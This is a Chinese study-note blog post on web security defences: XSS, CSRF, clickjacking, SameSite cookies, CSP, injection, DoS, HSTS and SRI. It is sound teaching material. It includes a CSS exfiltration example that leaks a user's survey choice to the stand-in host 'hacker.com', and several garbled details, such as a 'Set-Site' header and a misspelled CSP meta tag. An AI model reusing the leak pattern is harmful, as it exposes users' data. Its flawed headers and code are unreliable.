WEB开发的安全之旅 (防御篇) | 青训营笔记

186 阅读9分钟

WEB开发的安全之旅 (防御篇) | 青训营笔记

🌵前言

这是我参与「第四届青训营」笔记创作活动的的第7天😺

这篇笔记作为WEB开发安全的防御篇,与上篇攻击篇相对应。我将在以下内容中记录各种攻击方式对应的防御手段,并会引用其他文章中的内容对知识点加以补充。

👩‍🏭XSS

对于XSS的防御,首先永远不要信任用户提交的任何内容,且不要将用户提交的内容直接转化成DOM。

image.png

使用工具

我们也可以通过使用一些现成的工具来防御XSS攻击,比如:

  • 前端

    • 主流框架(如React、Vue)默认防御XSS
    • google-closure-library
  • 服务端 (Node)

    • DOMperify

防范细节

如果用户需求中要求必须动态生成DOM,我们又该如何防御XSS?主要可以通过以下几方面来考虑:

string -> DOM

需要对string进行转义

SVG

对SVG文件进行扫描,因为SVG文件中可以插入script标签:

image.png

自定义跳转行为

尽量不要让用户定义自定义跳转链接,否则有可能传递入JavaScript代码;如果需要,则应做好过滤。

自定义样式

在调查表中,用户选择自己的收入情况选项。当收入调查、选中某个指定选项时,就会发送get请求,用户的收入情况就被暴露给了恶意攻击者。

image.png

input[type=radio].income-gt10k:checked {
    background: url("https://hacker.com/?income=gt10k");
}

Feature Policy / Permission Policy

针对某个源(或某个页面下),可以允许开发者使用哪些功能:

  • camera
  • microphone
  • autoplay
  • ……
The HTTP Feature-Policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in content within any [ < iframe > ] elements in the document.

如果不小心被XSS攻击了,也可以限制一些敏感的功能被使用,比如摄像头、麦克风等。

👩‍🌾CSRF

防御CSRF,如果请求来源是异常来源,则可以限制请求的来源

Same-origin policy (同源策略)

在浏览器中存在着同源策略。只有在

  • 协议 (protocol)
  • 域名 (domain)
  • 端口 (port)

都相同时,两个URL才属于same origin,即同源。而对于以下的三个URL,都是不同源的:

image.png

一般而言,对于http协议,同源请求都是没有问题的;如果是非同源请求(即跨域请求),往往不可行。或者说是要看请求类型和服务器的配置。

Content Security Policy (CSP,内容安全策略)

CSP允许开发者

  • 定义哪些源(或哪些域名)是安全的
  • 来自安全源的脚本才可执行,否则报错
  • 对eval或内联script标签直接报错

比如,在服务器的响应头部定义安全源:

Content-Security-Policy: script-src 'self' //同源
Content-Security-Policy: script-src 'self' https://domain.com

对CSP的设置也可以在浏览器中完成:

<meta http-equiv="Cotent-Security-Policy" content="script-src self">

如何判断请求是否来自合法页面?

origin / referer

可以对origin或请求的referer进行校验,如果是从其他恶意页面发来的请求则统统拒绝。
但在同源请求中,GET和HEAD请求方式并不发送origin字段,所以有时referer会被更广泛地利用。

token

对于来自合法页面的请求,服务器肯定也会在之前接受过来自该页面的请求。利用这一点,服务器可以对该页面进行 标识 ( token ) 💡:

image.png

这里的token往往是和具体用户进行绑定的,因为攻击者也可能是注册用户,可以利用自己的token进行试探。

另外,token需要设置一个过期时间。如果token永久不过期,一旦被泄露和窃取,则有可能会被恶意利用。

如何防范iframe形式的攻击?

CSRF -- iframe攻击

攻击者会构造一个页面,页面上有一个button标签,button标签下有一个iframe:

image.png

对于这个button标签,设置其CSS样式:

button {
pointer-events:none;
}
对于属性pointer-events设置为none:目标元素永远不会成为鼠标事件的target。

当用户点击button标签时,点击事件会穿越到下方的iframe。iframe被点击可能伴随着发送一个http请求。而iframe中发生的请求属于同源请求,而非跨域请求,那么对应的攻击也就完成了。

防御方式

可以利用一个http的响应头部:

X-Frame-Options: DENY/SAMEORIGIN

如果可以在服务器进行编码,则可以对所有的页面设置这一X-Frame-Options头部。

  • DENY
    当前页面不能被作为iframe加载

  • SAMEORIGIN
    必须是同源的页面才能加载这一iframe

CSRF anti-pattern (CSRF反模式)

偷懒 => 把GET请求实现成既能GET又能POST(既能获取数据,又能修改数据):

public async getAndUpdate(ctx) {
  const { update , id } = ctx.query;
  if(update) {
    await this.update(update);
  }
  ctx.body = await this.get(id);
}

这里把 更新获取 两个逻辑都放在了同一个GET接口。如果被CSRF攻击到,用户的数据不仅可能被获取到,还有可能被篡改,非常危险。

GET !== GET + POST

所以对于GET请求和POST请求要区分开,不要混在一起。

SameSite Cookie (同站cookie)

在cookie拥有用户权限、且CSRF利用用户权限进行攻击时:

image.png

如果我们的请求不带上cookie,是否就能去除这种跨站伪造请求的方式呢?

即:我的页面的cookie只能为我所用,其他页面发出的请求都不能带上我的cookie

image.png

这样一来,就可以从根源上解决CSRF攻击的方式。

⚠️注意区分 same-site(同站)same-origin(同源) :对于same-site,需要有效顶级域名及其前面的二级域名的组合相同,如http://example.com.cnhttps://www.example.com.cn:80属于同站;但对于same-origin,需要协议域名端口都相同。

same-site cookie实际上限制的是

  1. Cookie Domain
  2. 页面域名是否能匹配

依赖cookie的第三方服务怎么办?

比如内嵌一个某站播放器,识别不了用户登录态,发不了弹幕。

在服务器端进行Set-Site操作时,我们可以把 SameSite 属性设置为 None,即不对same-site进行任何限制,但我们需要标明这个cookie为 secure 以确保安全。

Set-Site: SameSite:None;Secure;

关于SameSite的属性值:strict/lax/none

以下内容引用自阮一峰老师的日志:
Cookie 的 SameSite 属性 - 阮一峰的网络日志 (ruanyifeng.com)

Cookie 的 SameSite 属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值:
  • strict
  • lax
  • none

strict: 最为严格,完全禁止第三方Cookie,跨站点时,任何情况下都不会发送 Cookie。这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

lax: 规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。导航到目标网址的 GET 请求,只包括三种情况:链接预加载请求GET 表单。详见下表。

请求类型示例正常情况Lax
链接<a href="..."></a>发送 Cookie发送 Cookie
预加载<link rel="prerender" href="..."/>发送 Cookie发送 Cookie
GET 表单<form method="GET" action="...">发送 Cookie发送 Cookie
POST 表单<form method="POST" action="...">发送 Cookie不发送
iframe<iframe src="..."></iframe>发送 Cookie不发送
AJAX$.get("...")发送 Cookie不发送
Image<img src="...">发送 Cookie不发送

设置了StrictLax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

none: Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

image.png

⚠️补充:对于strict,首次导航(点击链接进入当前站点)是无法带上cookie的,但后续的same-site请求则可以带上cookie。这个限制是为了避免敏感操作跳过二次确认,比如一个重置密码的链接。但对于lax来说,首次导航则可以带上cookie。

same-site VS CORS

CORS (Cross-Origin Resource Sharing,跨域资源共享)

CORS 是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。

image.png

防御CSRF的正确姿势

我们应该设置一个中间件,使这一中间件专门生成各种防御CSRF的策略,而非case by case去解决问题。

image.png

👩‍🚀Injection

SQL Injection

  • 找到项目中查询SQL的地方
  • 使用prepared statement(将SQL语句进行提前编译,使注入攻击不能完成)
PREPARE q FROM 'SELECT user FROM users WHERE gender = ?';
SET @gender = 'female';
EXECUTE q USING @gender;
DEALLOCATE PREPARE q;

Injection beyond SQL

  • 最小权限原则

    • ⚠️避免使用sudo和root权限进行操作

  • 建立允许名单 + 过滤

    • ⚠️坚决拒绝高危操作rm
  • 对URL类型参数进行协议、域名、IP等限制

    • ⚠️避免攻击者访问内网

👩‍🎨DoS

ReDoS

  • 完善code review工作,⚠️避免写出正则表达式贪婪匹配模式,特别是接口处理特别工作时
  • 代码扫描 + 正则性能测试
  • ⚠️不要使用用户提供的正则表达式

logical DoS

  • 不是非黑即白

    • 有些case,只有在请求量大到一定之后,才会体现

  • 分析代码中的性能瓶颈

    • 同步调用
    • 串行逻辑
    • CPU密集型操作
  • 限流

DDoS

  • 流量治理

    • 负载均衡 (过滤)
    • API网关 (过滤)
    • CDN (Content Delivery Network,即内容分发网络) (抗量)
  • 快速自动扩容 (抗量)

  • 非核心服务降级 (抗量)

👩‍🚒传输层 -- 防御中间人

使用HTTPS协议,其具有以下三个特点:

  • 可靠性:加密 (不可明文)
  • 完整性:MAC验证 (不可篡改)
  • 不可抵赖性:数字签名 (身份验证)

HTTP Strict-Transport-Security (HSTS)

如何将HTTP请求升级到HTTPS?

image.png

  1. 浏览器先发送一次https请求;
  2. 服务器接收到后,会返回一个Strict-Transport-Security头部,并且传递一个值 max-age=3600
  3. 3600(秒) 时间后,如果浏览器发出HTTP请求,则通通升级为HTTPS协议,避免中间人攻击。

🍊其中也存在一定的缺陷,即一定要先有一次HTTPS请求。

Subresource Integrity (SRI,子资源完整性)

想要知道静态资源是否被劫持篡改?可以通过对比哈希值(hash):

<script src="https://example/app.js" 
integrity="sha384-{some-hash-value}"
crossorigin="anonymous"></script>

在script标签上增加一个integrity的属性,里面包含了当前摘要值的算法、以及具体的摘要值。

const remoteHsh = hash(content);
if(tagHsh !== remoteHash) {
throw new Errror("wrong hash");

进行一次哈希计算,并进行哈希值之间的对比。如果不相同,则说明内容被篡改。

🍎小结

  • 安全无小事;
  • 使用的依赖 (npm package,甚至是 node.js)也可能成为最薄弱的一环,比如left-pad事件。
  • 保持不断学习的心态。

其实对于HTTPS协议介绍还有非常多的内容,但由于笔记篇幅原因,将放在另一篇文章中做详细的展开以及学习记录。💨

2022/7/31